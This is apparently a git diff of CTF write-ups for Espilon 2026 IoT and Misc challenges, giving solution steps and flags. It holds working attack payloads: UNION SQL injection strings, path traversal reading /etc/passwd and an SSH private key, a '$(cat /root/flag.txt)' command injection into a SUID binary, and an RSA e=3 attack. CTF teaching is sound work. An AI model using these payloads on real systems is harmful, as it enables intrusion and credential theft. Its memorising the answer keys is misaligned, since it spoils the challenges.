3FFB0820: 62 47 55 39 00 00 00 00 00 00 00 00 00 00 00 00 |bGU9............|
|
||||
```
|
||||
|
||||
La partie ASCII aux offsets 0x810-0x830 contient du base64 : `dGgzcmFweV9tMGR1bGU9`
|
||||
|
||||
```python
|
||||
import base64
|
||||
base64.b64decode("dGgzcmFweV9tMGR1bGU9")
|
||||
# b'th3rapy_m0dule='
|
||||
```
|
||||
|
||||
## Étape 4 — Authentification debug
|
||||
|
||||
```
|
||||
debug auth th3rapy_m0dule=
|
||||
```
|
||||
|
||||
→ "DEBUG MODE ENABLED. Extended commands unlocked."
|
||||
|
||||
## Étape 5 — Exploration NVS
|
||||
|
||||
```
|
||||
nvs list
|
||||
```
|
||||
|
||||
Affiche les entrées NVS dont `crypto_flag` (blob, 34 bytes).
|
||||
|
||||
```
|
||||
nvs read crypto_flag
|
||||
```
|
||||
|
||||
Retourne un hexdump du flag chiffré.
|
||||
|
||||
## Étape 6 — Déchiffrement XOR
|
||||
|
||||
Le blob est XOR'd avec la clé cyclique `WIRED` (5 bytes). Indice : le flag commence par `ESPILON{` — en XOR avec les premiers bytes du blob, on peut retrouver la clé.
|
||||
|
||||
```python
|
||||
encrypted = bytes.fromhex("...") # hex du nvs read
|
||||
key = b"WIRED"
|
||||
flag = bytes(b ^ key[i % len(key)] for i, b in enumerate(encrypted))
|
||||
print(flag.decode())
|
||||
# ESPILON{u4rt_nvs_fl4sh_d1sc0v3ry}
|
||||
```
|
||||
|
||||
## Script de solve complet
|
||||
|
||||
Voir `solve/solve.py`
|
||||
108
IoT/Lets_All_Love_UART/README.md
Executable file
@ -0,0 +1,108 @@
|
||||
# Let's All Love UART
|
||||
|
||||
| Field | Value |
|
||||
|-------|-------|
|
||||
| Category | IoT |
|
||||
| Difficulty | Easy |
|
||||
| Points | 500 |
|
||||
| Author | Eun0us |
|
||||
| CTF | Espilon 2026 |
|
||||
|
||||
---
|
||||
|
||||
## Description
|
||||
|
||||
This challenge emulates a UART interface on a Lain router.
|
||||
Open both connections, interact as if it was real hardware.
|
||||
|
||||
- **TX**: Read only
|
||||
- **RX**: Write only
|
||||
|
||||
**Let's All Love Lain!**
|
||||
|
||||
---
|
||||
|
||||
## TL;DR
|
||||
|
||||
Open the TX and RX ports simultaneously. Send `flag` on the RX (write) port.
|
||||
The flag is immediately printed on the TX (read) port.
|
||||
|
||||
---
|
||||
|
||||
## Tools
|
||||
|
||||
| Tool | Purpose |
|
||||
|------|---------|
|
||||
| `nc` | Split UART connection |
|
||||
| Python 3 | Automated solver script |
|
||||
|
||||
---
|
||||
|
||||
## Solution
|
||||
|
||||
### Step 1 — Open both channels
|
||||
|
||||
```bash
|
||||
# Terminal 1 — read device output
|
||||
nc <host> 1111
|
||||
|
||||
# Terminal 2 — send commands
|
||||
nc <host> 2222
|
||||
```
|
||||
|
||||

|
||||
|
||||
### Step 2 — Request the flag
|
||||
|
||||
In Terminal 2 (RX):
|
||||
|
||||
```text
|
||||
flag
|
||||
```
|
||||
|
||||
### Step 3 — Read the flag
|
||||
|
||||
In Terminal 1 (TX):
|
||||
|
||||
```
|
||||
ESPILON{LAIN_TrUsT_U4RT}
|
||||
```
|
||||
|
||||

|
||||
|
||||
### Automated solver
|
||||
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
import socket
|
||||
import threading
|
||||
|
||||
HOST = "<host>"
|
||||
TX_PORT = 1111
|
||||
RX_PORT = 2222
|
||||
|
||||
def reader():
|
||||
with socket.create_connection((HOST, TX_PORT)) as s:
|
||||
while True:
|
||||
data = s.recv(4096)
|
||||
if not data:
|
||||
break
|
||||
out = data.decode(errors="replace")
|
||||
print(out, end="")
|
||||
if "ESPILON{" in out:
|
||||
break
|
||||
|
||||
tx_thread = threading.Thread(target=reader, daemon=True)
|
||||
tx_thread.start()
|
||||
|
||||
with socket.create_connection((HOST, RX_PORT)) as s:
|
||||
s.sendall(b"flag\n")
|
||||
|
||||
tx_thread.join()
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Flag
|
||||
|
||||
`ESPILON{LAIN_TrUsT_U4RT}`
|
||||
@ -4,7 +4,7 @@
|
||||
|-------|-------|
|
||||
| Category | IoT |
|
||||
| Difficulty | Easy |
|
||||
| Points | 50 |
|
||||
| Points | 200 |
|
||||
| Author | Eun0us |
|
||||
| CTF | Espilon 2026 |
|
||||
|
||||
|
||||
@ -1,25 +0,0 @@
|
||||
# Nurse Call -- Solution
|
||||
|
||||
## Overview
|
||||
Connect to the maintenance terminal and investigate phantom calls from Room 013.
|
||||
|
||||
## Steps
|
||||
|
||||
1. Connect: `nc <host> 1337`
|
||||
2. Read `logs/appels.log` -- notice Room 013 phantom calls, especially the last line:
|
||||
`payload room 013: 0x4c41494e`
|
||||
3. Read `logs/reseau.log` -- confirms `0x4c41494e -> ASCII: "LAIN"`
|
||||
4. Read `logs/maintenance.log` -- technician says to use `reveil.sh --id` with the payload ID
|
||||
5. Optionally read `config/navi-care.conf` for exact syntax: `reveil.sh --id <MODULE_ID>`
|
||||
6. Execute: `./tools/reveil.sh --id LAIN`
|
||||
7. Flag is printed: `ESPILON{r3v31ll3_m01_d4ns_l3_w1r3d}`
|
||||
|
||||
## Key insight
|
||||
The hex payload `0x4c41494e` is ASCII for "LAIN". The player must decode this
|
||||
and use it as the module identifier with the wake tool.
|
||||
|
||||
## Flag
|
||||
`ESPILON{r3v31ll3_m01_d4ns_l3_w1r3d}`
|
||||
|
||||
## Author
|
||||
Eun0us
|
||||
@ -4,7 +4,7 @@
|
||||
|-------|-------|
|
||||
| Category | IoT |
|
||||
| Difficulty | Medium-Hard |
|
||||
| Points | 499 |
|
||||
| Points | — |
|
||||
| Author | Eun0us |
|
||||
| CTF | Espilon 2026 |
|
||||
|
||||
|
||||
@ -1,52 +0,0 @@
|
||||
# Observe The Wired -- Solution
|
||||
|
||||
## Overview
|
||||
CoAP node with observable stream. Recover fragments, decode the firmware blob, then POST the maintenance key.
|
||||
|
||||
## Steps
|
||||
|
||||
1. Discover resources
|
||||
```bash
|
||||
coap-client -m get coap://HOST/.well-known/core
|
||||
```
|
||||
|
||||
2. Get fragments A and B
|
||||
```bash
|
||||
coap-client -m get coap://HOST/status
|
||||
coap-client -m get coap://HOST/telemetry/heart
|
||||
```
|
||||
|
||||
3. Observe the stream for fragment C
|
||||
```bash
|
||||
coap-client -m get -s 30 -o coap://HOST/wired/stream
|
||||
```
|
||||
Capture the JSON notification that includes `fragment_c`.
|
||||
|
||||
4. Build XOR key
|
||||
Concatenate fragments in order A + B + C:
|
||||
```
|
||||
WIRED + LAIN + 23 = WIREDLAIN23
|
||||
```
|
||||
|
||||
5. Download firmware blob
|
||||
```bash
|
||||
coap-client -m get coap://HOST/archive/firmware
|
||||
```
|
||||
Save the base64 data between `FIRMWARE_B64_BEGIN` and `FIRMWARE_B64_END` into `firmware.b64`.
|
||||
|
||||
6. Decode the blob
|
||||
```bash
|
||||
python3 decode.py firmware.b64
|
||||
```
|
||||
The JSON includes `maintenance_key`.
|
||||
|
||||
7. Unlock and get the flag
|
||||
```bash
|
||||
coap-client -m post -e '0BS3RV3-L41N-23' coap://HOST/maintenance/unlock
|
||||
```
|
||||
|
||||
## Flag
|
||||
`ESPILON{c0ap_0bs3rv3_th3_w1r3d}`
|
||||
|
||||
## Author
|
||||
Eun0us
|
||||
@ -4,7 +4,7 @@
|
||||
|-------|-------|
|
||||
| Category | IoT |
|
||||
| Difficulty | Medium |
|
||||
| Points | 398 |
|
||||
| Points | 500 |
|
||||
| Author | Eun0us |
|
||||
| CTF | Espilon 2026 |
|
||||
|
||||
|
||||
@ -1,60 +0,0 @@
|
||||
# Wired Airwave 013 -- Solution
|
||||
|
||||
## Overview
|
||||
|
||||
The challenge exposes:
|
||||
|
||||
- `tcp/9001`: raw interleaved int8 IQ stream (2-FSK bursts)
|
||||
- `tcp/31337`: maintenance console
|
||||
|
||||
Goal:
|
||||
|
||||
1. Demodulate valid RF frames from IQ.
|
||||
2. Recover the maintenance token hidden in maintenance frames.
|
||||
3. Submit it with `unlock <token>` on the console.
|
||||
|
||||
## Packet format
|
||||
|
||||
After preamble and sync, each frame carries 20 obfuscated bytes:
|
||||
|
||||
- `type` (1 byte)
|
||||
- `counter` (1 byte)
|
||||
- `data` (16 bytes, text)
|
||||
- `crc16-ccitt` (2 bytes, big endian)
|
||||
|
||||
The 20-byte payload is XOR-obfuscated with repeating key `WIREDMED13`.
|
||||
|
||||
## Decode path
|
||||
|
||||
1. Convert stream to complex IQ (`int8` interleaved).
|
||||
2. Differential FSK demod:
|
||||
- sign of `imag(s[n] * conj(s[n-1]))`
|
||||
3. Symbol slicing with `40` samples/symbol.
|
||||
4. Find `preamble + sync` marker.
|
||||
5. Parse payload, XOR-deobfuscate, verify CRC16.
|
||||
|
||||
## Maintenance token
|
||||
|
||||
Valid decoded maintenance frames include:
|
||||
|
||||
- `P1:0BS3RV3`
|
||||
- `P2:-L41N-868`
|
||||
|
||||
Token is:
|
||||
|
||||
`0BS3RV3-L41N-868`
|
||||
|
||||
## Unlock
|
||||
|
||||
```bash
|
||||
nc <host> 31337
|
||||
unlock 0BS3RV3-L41N-868
|
||||
```
|
||||
|
||||
Server returns the flag.
|
||||
|
||||
## Automated solver
|
||||
|
||||
```bash
|
||||
python3 solve.py --host <host>
|
||||
```
|
||||
197
Misc/AETHER_NET/README.md
Normal file
@ -0,0 +1,197 @@
|
||||
# AETHER_NET
|
||||
|
||||
| Field | Value |
|
||||
|-------|-------|
|
||||
| Category | Misc |
|
||||
| Difficulty | Insane |
|
||||
| Points | — |
|
||||
| Author | Eun0us |
|
||||
| CTF | Espilon 2026 |
|
||||
|
||||
---
|
||||
|
||||
## Description
|
||||
|
||||
Multi-layer network pivot challenge. Five nodes, each requiring credentials extracted
|
||||
from the previous layer.
|
||||
|
||||
```
|
||||
lain-terminal:1337 → alice-web:8080 → bear-iot:1883 → maxis-crypto:9443 → deus-admin:22
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## TL;DR
|
||||
|
||||
5-layer pivot: terminal hints → SQLi on the web app (and path traversal) → custom MQTT
|
||||
escalation to get RSA parameters → RSA e=3 cube root attack to recover SSH password →
|
||||
SSH to deus-admin → read the flag.
|
||||
|
||||
---
|
||||
|
||||
## Tools
|
||||
|
||||
| Tool | Purpose |
|
||||
|------|---------|
|
||||
| `nc` | Access lain-terminal and bear-iot |
|
||||
| `curl` | SQL injection on alice-web |
|
||||
| Python 3 + `gmpy2` | RSA cube root attack |
|
||||
| `ssh` | Final access to deus-admin |
|
||||
|
||||
---
|
||||
|
||||
## Solution
|
||||
|
||||
### Layer 01 — Entry Terminal
|
||||
|
||||
```bash
|
||||
nc <host> 1337
|
||||
cat notes.txt
|
||||
cat /var/log/network.log
|
||||
cat ~/.bash_history
|
||||
```
|
||||
|
||||
`notes.txt` maps the full topology and says:
|
||||
> "The search function... doesn't sanitize input. The system_config table has everything."
|
||||
|
||||
`network.log` lists all five nodes and their ports. `.bash_history` shows partial MQTT
|
||||
credentials and previous curl commands.
|
||||
|
||||

|
||||
|
||||
---
|
||||
|
||||
### Layer 02 — Alice-Web (SQL Injection)
|
||||
|
||||
Confirm the hint:
|
||||
|
||||
```bash
|
||||
curl http://<host>:8080/api/status
|
||||
```
|
||||
|
||||
Response: `"The search endpoint passes input directly to SQLite. The system_config table contains network credentials."`
|
||||
|
||||
**UNION SQLi on `/search?q=`:**
|
||||
|
||||
The query is `SELECT id, name, room, status FROM patients WHERE name LIKE '%<input>%'`
|
||||
|
||||
```bash
|
||||
curl "http://<host>:8080/search?q=%27%20UNION%20SELECT%20null%2Ckey%2Cvalue%2Cdescription%20FROM%20system_config--"
|
||||
```
|
||||
|
||||
Decoded: `' UNION SELECT null,key,value,description FROM system_config--`
|
||||
|
||||
Response extracts:
|
||||
|
||||
```json
|
||||
{"results": [
|
||||
{"id": null, "name": "mqtt_user", "room": "operator", "status": "IoT broker username"},
|
||||
{"id": null, "name": "mqtt_pass", "room": "<BEAR_PASS>", "status": "IoT broker password"},
|
||||
{"id": null, "name": "admin_token", "room": "<TOKEN_HEX>", "status": "24-char admin token"},
|
||||
...
|
||||
]}
|
||||
```
|
||||
|
||||
**Alternative — path traversal:**
|
||||
|
||||
```bash
|
||||
curl "http://<host>:8080/docs?file=../../var/aether/config.json"
|
||||
```
|
||||
|
||||
Returns the full instance config with all credentials.
|
||||
|
||||

|
||||
|
||||
---
|
||||
|
||||
### Layer 03 — Bear-IoT (Custom MQTT)
|
||||
|
||||
```bash
|
||||
nc <host> 1883
|
||||
```
|
||||
|
||||
```text
|
||||
CONNECT operator <mqtt_pass>
|
||||
ADMIN <admin_token>
|
||||
LIST
|
||||
```
|
||||
|
||||
`LIST` reveals two hidden topics:
|
||||
- `wired/system/config`
|
||||
- `wired/knights/<random_10_chars>`
|
||||
|
||||
```text
|
||||
SUBSCRIBE wired/system/config
|
||||
```
|
||||
|
||||
Response includes RSA parameters:
|
||||
|
||||
```
|
||||
RSA Public Key:
|
||||
n = <512-bit decimal>
|
||||
e = 3
|
||||
Ciphertext (hex): <hex_string>
|
||||
```
|
||||
|
||||
```text
|
||||
SUBSCRIBE wired/knights/<random>
|
||||
```
|
||||
|
||||
Response (base64-decoded): *"e=3. No padding. The plaintext is short. Cube root gives the key."*
|
||||
|
||||

|
||||
|
||||
---
|
||||
|
||||
### Layer 04 — RSA Cube Root Attack
|
||||
|
||||
**Conditions for the attack:**
|
||||
|
||||
- `n` is 512 bits
|
||||
- `e = 3`
|
||||
- Plaintext `m` ≤ 20 bytes (`m < 2^160`)
|
||||
- Since `m^3 < n`, modular reduction never occurs: `c = m^3` exactly
|
||||
- Therefore: `m = ∛c` (integer cube root)
|
||||
|
||||
```python
|
||||
import gmpy2
|
||||
|
||||
n = <n_value>
|
||||
c = int("<ciphertext_hex>", 16)
|
||||
|
||||
m, exact = gmpy2.iroot(c, 3)
|
||||
assert exact, "Cube root is not exact"
|
||||
|
||||
deus_pass = m.to_bytes(20, 'big').rstrip(b'\x00').decode()
|
||||
print(f"SSH password: {deus_pass}")
|
||||
```
|
||||
|
||||

|
||||
|
||||
---
|
||||
|
||||
### Layer 05 — SSH to Deus-Admin
|
||||
|
||||
```bash
|
||||
ssh deus@<host> -p 22
|
||||
# password from Layer 04
|
||||
cat flag.txt
|
||||
```
|
||||
|
||||

|
||||
|
||||
---
|
||||
|
||||
### Key concepts
|
||||
|
||||
- **UNION-based SQLi**: `' UNION SELECT ... FROM system_config--` exfiltrates hidden credentials
|
||||
- **Path traversal**: `../../var/aether/config.json` bypasses directory restriction
|
||||
- **Custom MQTT escalation**: `ADMIN <token>` unlocks hidden broker topics
|
||||
- **RSA e=3 cube root attack**: When `m^3 < n` (no reduction), `c = m^3` exactly —
|
||||
integer cube root recovers plaintext in O(log n) time
|
||||
|
||||
---
|
||||
|
||||
## Flag
|
||||
|
||||
`ESPILON{4eth3r_n3t_d3us_4dm1n}`
|
||||
@ -4,7 +4,7 @@
|
||||
|-------|-------|
|
||||
| Category | Misc |
|
||||
| Difficulty | Hard |
|
||||
| Points | 536 |
|
||||
| Points | 500 |
|
||||
| Author | Eun0us |
|
||||
| CTF | Espilon 2026 |
|
||||
|
||||
|
||||
@ -1,102 +0,0 @@
|
||||
# Accela Signal -- Solution
|
||||
|
||||
## Overview
|
||||
A LoRa-like Chirp Spread Spectrum (CSS) IQ stream containing two types of frames:
|
||||
beacon (cleartext) and data (XOR-encrypted flag). Players must implement CSS
|
||||
demodulation from scratch to decode the frames.
|
||||
|
||||
## Steps
|
||||
|
||||
### 1. Capture IQ Stream
|
||||
Connect to TCP port 9002. A text banner appears first, followed by raw IQ data.
|
||||
```bash
|
||||
nc HOST 9002 > capture.raw
|
||||
# Or use the solve script
|
||||
```
|
||||
|
||||
The banner tells you: `IQ baseband, 8000 sps, int16 LE interleaved`.
|
||||
|
||||
### 2. Analyze the Signal
|
||||
Open the IQ data in a spectrogram tool (e.g., inspectrum, Python matplotlib, or
|
||||
GNU Radio). You'll see:
|
||||
- Characteristic **chirp** patterns: frequency sweeps from low to high
|
||||
- Repeating preambles (identical chirps)
|
||||
- Gaps of noise between transmissions
|
||||
|
||||
This is **Chirp Spread Spectrum (CSS)**, the modulation used by LoRa.
|
||||
|
||||
### 3. Determine Parameters
|
||||
- Each chirp spans 128 samples → **N = 128**
|
||||
- Since N = 2^SF → **SF = 7** (spreading factor)
|
||||
- Bandwidth = sample rate = 8000 Hz (baseband at Nyquist)
|
||||
- 7 bits per symbol
|
||||
|
||||
### 4. Implement Dechirping
|
||||
The key to CSS demodulation is **dechirping**:
|
||||
|
||||
1. Generate the base upchirp (symbol 0):
|
||||
```
|
||||
x0[n] = exp(j * π * n²/N) for n = 0..127
|
||||
```
|
||||
|
||||
2. To decode a received chirp, multiply by the **conjugate** of the base chirp:
|
||||
```
|
||||
dechirped[n] = received[n] * conj(x0[n])
|
||||
```
|
||||
|
||||
3. Take the **DFT/FFT** of the dechirped signal. The peak bin = symbol value.
|
||||
|
||||
### 5. Detect Frames
|
||||
Frame structure:
|
||||
```
|
||||
[Preamble: 8× symbol 0] [Sync: 2× downchirp] [Header: 1 symbol] [Payload: L symbols]
|
||||
```
|
||||
|
||||
- **Preamble**: 8 consecutive chirps all decoding to symbol 0
|
||||
- **Sync**: 2 downchirps (conjugate of upchirps)
|
||||
- **Header**: 1 symbol = payload length in bytes (Gray-coded)
|
||||
- **Payload**: L symbols encoding the data bytes
|
||||
|
||||
### 6. Gray Decoding
|
||||
Symbol values are **Gray-coded** (like real LoRa). After finding the FFT peak
|
||||
bin, apply inverse Gray code:
|
||||
```python
|
||||
def gray_decode(val):
|
||||
mask = val
|
||||
while mask:
|
||||
mask >>= 1
|
||||
val ^= mask
|
||||
return val
|
||||
```
|
||||
|
||||
### 7. Symbol-to-Byte Unpacking
|
||||
Each symbol carries 7 bits (SF=7). Concatenate all bits from decoded symbols,
|
||||
then group into 8-bit bytes.
|
||||
|
||||
### 8. Parse Frame Payload
|
||||
Payload format: `[type:1] [data:L] [crc16:2]`
|
||||
|
||||
- Type 0x01 = beacon (ASCII text, for verification)
|
||||
- Type 0x02 = data (XOR-encrypted flag)
|
||||
- CRC-16 CCITT validates the payload
|
||||
|
||||
### 9. Decrypt Flag
|
||||
The data frame's content is XOR'd with the repeating key `"L41N"` (4 bytes).
|
||||
|
||||
```python
|
||||
xor_key = b"L41N"
|
||||
flag = bytes(b ^ xor_key[i % 4] for i, b in enumerate(encrypted_data))
|
||||
```
|
||||
|
||||
## Key Insights
|
||||
- CSS/LoRa modulation encodes data as cyclic frequency shifts of a chirp signal
|
||||
- The dechirp + FFT technique converts the frequency-domain problem into a simple peak detection
|
||||
- Gray coding ensures that adjacent symbols (close FFT bins) differ by only 1 bit, reducing errors
|
||||
- The 7-bit symbol → 8-bit byte packing is standard for non-byte-aligned symbol sizes
|
||||
- The banner hints at CSS ("Chirp Spread Spectrum detected") to point players in the right direction
|
||||
|
||||
## Flag
|
||||
`ESPILON{4cc3l4_ch1rp_spr34d_w1r3d}`
|
||||
|
||||
## Author
|
||||
Eun0us
|
||||
@ -4,7 +4,7 @@
|
||||
|-------|-------|
|
||||
| Category | Misc |
|
||||
| Difficulty | Hard |
|
||||
| Points | 479 |
|
||||
| Points | 600 |
|
||||
| Author | espilon |
|
||||
| CTF | Espilon 2026 |
|
||||
|
||||
|
||||
@ -1,156 +0,0 @@
|
||||
# LAYER_ZERO — Solution
|
||||
|
||||
**Difficulty:** Hard | **Category:** Misc | **Flag:** `ESPILON{kn1ghts_0f_th3_w1r3d_pr0t0c0l7}`
|
||||
|
||||
## Overview
|
||||
|
||||
Multi-stage challenge. Four sealed channels must be unlocked in sequence.
|
||||
Each channel produces a token; submit all four to `LAYER_GOD` to unlock a
|
||||
SUID binary that reveals the flag.
|
||||
|
||||
| Layer | Channel | Port | Technique |
|
||||
|-------|---------------|---------|-----------------------------|
|
||||
| L01 | CHANNEL_STATIC | 4141/tcp | PNG filter-type steganography |
|
||||
| L03 | CHANNEL_KNIGHTS | 8080/tcp | SQL injection + Vigenère cipher |
|
||||
| L07 | CHANNEL_WIRED | 4242/tcp | State machine sequence brute-force |
|
||||
| L13 | CHANNEL_EIRI | 9001/tcp | Echo hiding audio steganography |
|
||||
| GOD | LAYER_GOD | 6660/tcp | Ritual submission + SUID exploit |
|
||||
|
||||
## Layer 01 — CHANNEL_STATIC (PNG stego)
|
||||
|
||||
The PNG at `/home/lain/CHANNEL_STATIC/lain_signal.png` hides data in the
|
||||
**filter type bytes** — the first byte of each scanline in the raw IDAT stream.
|
||||
|
||||
```python
|
||||
import struct, zlib
|
||||
|
||||
with open("lain_signal.png", "rb") as f:
|
||||
data = f.read()
|
||||
|
||||
pos, idat = 8, b""
|
||||
while pos < len(data):
|
||||
length = struct.unpack(">I", data[pos:pos+4])[0]
|
||||
ctype = data[pos+4:pos+8]
|
||||
if ctype == b"IDAT":
|
||||
idat += data[pos+8:pos+8+length]
|
||||
pos += 12 + length
|
||||
|
||||
raw = zlib.decompress(idat)
|
||||
row_size = 1 + 64 * 3 # 1 filter byte + 64×RGB pixels
|
||||
# First 24 filter bytes encode 3 ASCII chars (8 bits each)
|
||||
bits = [raw[i * row_size] for i in range(24)]
|
||||
decoded = "".join(chr(int("".join(map(str, bits[i*8:(i+1)*8])), 2)) for i in range(3))
|
||||
```
|
||||
|
||||
Submit the decoded string:
|
||||
|
||||
```text
|
||||
SUBMIT <decoded>
|
||||
```
|
||||
|
||||
Server responds with token `L01:xxxxxxxxxx`.
|
||||
|
||||
## Layer 03 — CHANNEL_KNIGHTS (SQLi + Vigenère)
|
||||
|
||||
The web service at port 8080 has a `/search?q=` endpoint vulnerable to UNION-based SQLi.
|
||||
|
||||
```text
|
||||
/search?q=' UNION SELECT id,alias,rank,access_code,status FROM members--
|
||||
```
|
||||
|
||||
One row contains a Vigenère-encrypted access code. Decrypt it with key `KUDARANAI`:
|
||||
|
||||
```python
|
||||
def vigenere_decrypt(text, key):
|
||||
result, ki = [], 0
|
||||
for c in text.upper():
|
||||
if c.isalpha():
|
||||
shift = ord(key[ki % len(key)].upper()) - ord("A")
|
||||
result.append(chr((ord(c) - ord("A") - shift) % 26 + ord("A")))
|
||||
ki += 1
|
||||
else:
|
||||
result.append(c)
|
||||
return "".join(result)
|
||||
```
|
||||
|
||||
Submit the plaintext to `/submit?code=<plaintext>`.
|
||||
Server responds with token `L03:xxxxxxxxxx`.
|
||||
|
||||
## Layer 07 — CHANNEL_WIRED (state machine)
|
||||
|
||||
The service at port 4242 expects a 4-word sequence. The first two are fixed:
|
||||
`PRESENT_DAY`, `PRESENT_TIME`. Brute-force the last two from known word lists:
|
||||
|
||||
```python
|
||||
WORD3 = ["NAVI_LAYER_07", "PROTOCOL_SEVEN", "WIRED_ACCESS",
|
||||
"KNIGHTS_CODE", "EIRI_SYSTEM", "DEUS_NODE"]
|
||||
WORD4 = ["CONNECT", "DESCEND", "MERGE", "ASCEND", "RESONATE", "DISSOLVE"]
|
||||
|
||||
for w3, w4 in itertools.product(WORD3, WORD4):
|
||||
# try sequence: PRESENT_DAY → PRESENT_TIME → w3 → w4
|
||||
```
|
||||
|
||||
Server responds with token `L07:xxxxxxxxxx` on success.
|
||||
|
||||
## Layer 13 — CHANNEL_EIRI (echo hiding)
|
||||
|
||||
The service at port 9001 streams 30 seconds of 16-bit mono PCM at 44100 Hz.
|
||||
Data is hidden via **echo hiding**: a 1-bit echo at delay `D1=200` (bit 1) or
|
||||
`D0=100` (bit 0) is embedded in 1024-sample segments.
|
||||
|
||||
```python
|
||||
import numpy as np
|
||||
|
||||
# After streaming and collecting pcm_data:
|
||||
samples = np.frombuffer(pcm_data, dtype="<i2").astype(float) / 32767.0
|
||||
|
||||
SEG_SIZE, D0, D1 = 1024, 100, 200
|
||||
N_CHARS = 5
|
||||
bits = []
|
||||
for i in range(N_CHARS * 8):
|
||||
seg = samples[i * SEG_SIZE: (i + 1) * SEG_SIZE]
|
||||
ac = np.correlate(seg, seg, "full")
|
||||
mid = len(ac) // 2
|
||||
bits.append("1" if ac[mid + D1] > ac[mid + D0] else "0")
|
||||
|
||||
code = "".join(chr(int("".join(bits[i*8:(i+1)*8]), 2)) for i in range(N_CHARS))
|
||||
```
|
||||
|
||||
Submit the decoded code:
|
||||
|
||||
```text
|
||||
SUBMIT <code>
|
||||
```
|
||||
|
||||
Server responds with token `L13:xxxxxxxxxx`.
|
||||
|
||||
## LAYER_GOD — Ritual + SUID exploit
|
||||
|
||||
Submit all four tokens to port 6660:
|
||||
|
||||
```text
|
||||
RITUAL L01:xxxxxxxxxx L03:xxxxxxxxxx L07:xxxxxxxxxx L13:xxxxxxxxxx
|
||||
```
|
||||
|
||||
On success, the SUID binary `/opt/protocol7/eiri_validator` is unlocked.
|
||||
Exploit it via command injection — the binary calls `system()` with unsanitised input:
|
||||
|
||||
```bash
|
||||
/opt/protocol7/eiri_validator
|
||||
# When prompted, enter:
|
||||
$(cat /root/flag.txt)
|
||||
```
|
||||
|
||||
## Automated Solver
|
||||
|
||||
```bash
|
||||
python3 solve.py [host] [port]
|
||||
```
|
||||
|
||||
## Flag
|
||||
|
||||
`ESPILON{kn1ghts_0f_th3_w1r3d_pr0t0c0l7}`
|
||||
|
||||
## Author
|
||||
|
||||
Eun0us
|
||||
60
Misc/Last_Train_451/README.md
Normal file
@ -0,0 +1,60 @@
|
||||
# Last_Train_451
|
||||
|
||||
| Field | Value |
|
||||
|-------|-------|
|
||||
| Category | Misc |
|
||||
| Difficulty | TBD |
|
||||
| Points | TBD |
|
||||
| Author | Eun0us |
|
||||
| CTF | Espilon 2026 |
|
||||
|
||||
---
|
||||
|
||||
## Description
|
||||
|
||||
The last train is departing. Catch it before it disappears into the static.
|
||||
|
||||
- Port: `tcp/<host>:4545`
|
||||
|
||||
Format: **ESPILON{flag}**
|
||||
|
||||
---
|
||||
|
||||
## TL;DR
|
||||
|
||||
> **Note:** This challenge was still under development at the time of writing.
|
||||
> The `server.py` file was absent from the repository. The writeup will be completed
|
||||
> once the challenge is finalized before the event.
|
||||
|
||||
---
|
||||
|
||||
## Tools
|
||||
|
||||
| Tool | Purpose |
|
||||
|------|---------|
|
||||
| `nc` | Initial connection on port 4545 |
|
||||
| Python 3 | Solver (TBD) |
|
||||
|
||||
---
|
||||
|
||||
## Solution
|
||||
|
||||
### Known architecture
|
||||
|
||||
```bash
|
||||
nc <host> 4545
|
||||
```
|
||||
|
||||
- Runtime: Python 3.10
|
||||
- Port: 4545/tcp
|
||||
|
||||
The challenge server code is not yet publicly available. Full solution will be written
|
||||
once the server is deployed.
|
||||
|
||||

|
||||
|
||||
---
|
||||
|
||||
## Flag
|
||||
|
||||
`ESPILON{...}` *(TBD — challenge pending completion)*
|
||||
@ -4,7 +4,7 @@
|
||||
|-------|-------|
|
||||
| Category | Misc |
|
||||
| Difficulty | Medium-Hard |
|
||||
| Points | 340 |
|
||||
| Points | 500 |
|
||||
| Author | Eun0us |
|
||||
| CTF | Espilon 2026 |
|
||||
|
||||
|
||||
@ -1,137 +0,0 @@
|
||||
# Patient Portal — Solution
|
||||
|
||||
## Overview
|
||||
|
||||
Multi-stage challenge: SQLi → Admin Panel → Path Traversal → SSH Access → SUID Privesc → Root
|
||||
|
||||
**Flag:** `ESPILON{r00t_0f_s41nt3_m1k4}`
|
||||
|
||||
---
|
||||
|
||||
## Stage 1: SQL Injection
|
||||
|
||||
The `/search` endpoint is vulnerable to UNION-based SQL injection.
|
||||
|
||||
### Enumerate columns (6 columns)
|
||||
|
||||
```
|
||||
/search?q=' UNION SELECT 1,2,3,4,5,6--
|
||||
```
|
||||
|
||||
### Dump table names
|
||||
|
||||
```
|
||||
/search?q=' UNION SELECT 1,name,3,4,5,6 FROM sqlite_master WHERE type='table'--
|
||||
```
|
||||
|
||||
Tables found: `patients`, `users`, `system_config`
|
||||
|
||||
### Dump users table
|
||||
|
||||
```
|
||||
/search?q=' UNION SELECT 1,username,password_hash,role,5,6 FROM users--
|
||||
```
|
||||
|
||||
Results:
|
||||
- `admin` : `e0b7e413c064de43c6c1ca40a8c175a1` (MD5 of `SainteMika2026`)
|
||||
- `nurse01` : (irrelevant hash)
|
||||
|
||||
### Dump system_config table
|
||||
|
||||
```
|
||||
/search?q=' UNION SELECT 1,key,value,3,4,5 FROM system_config--
|
||||
```
|
||||
|
||||
Key finding: `ssh_passphrase = wired-med-013`
|
||||
|
||||
### Crack the admin password
|
||||
|
||||
```bash
|
||||
echo -n "SainteMika2026" | md5sum
|
||||
# e0b7e413c064de43c6c1ca40a8c175a1
|
||||
```
|
||||
|
||||
Or use CrackStation / hashcat / john.
|
||||
|
||||
---
|
||||
|
||||
## Stage 2: Admin Access
|
||||
|
||||
Login at `/login` with:
|
||||
- Username: `admin`
|
||||
- Password: `SainteMika2026`
|
||||
|
||||
The admin panel shows:
|
||||
- Report download links
|
||||
- System info: SSH on port 2222, user `webadmin`
|
||||
|
||||
---
|
||||
|
||||
## Stage 3: Path Traversal
|
||||
|
||||
The report download endpoint `/admin/reports?file=` is vulnerable to path traversal.
|
||||
|
||||
### Read /etc/passwd
|
||||
|
||||
```
|
||||
/admin/reports?file=../../../etc/passwd
|
||||
```
|
||||
|
||||
Confirms user `webadmin` exists.
|
||||
|
||||
### Extract SSH private key
|
||||
|
||||
```
|
||||
/admin/reports?file=../../../home/webadmin/.ssh/id_rsa
|
||||
```
|
||||
|
||||
Save the key to a file locally.
|
||||
|
||||
---
|
||||
|
||||
## Stage 4: SSH Access
|
||||
|
||||
```bash
|
||||
chmod 600 id_rsa
|
||||
ssh -i id_rsa -p 2222 webadmin@<HOST>
|
||||
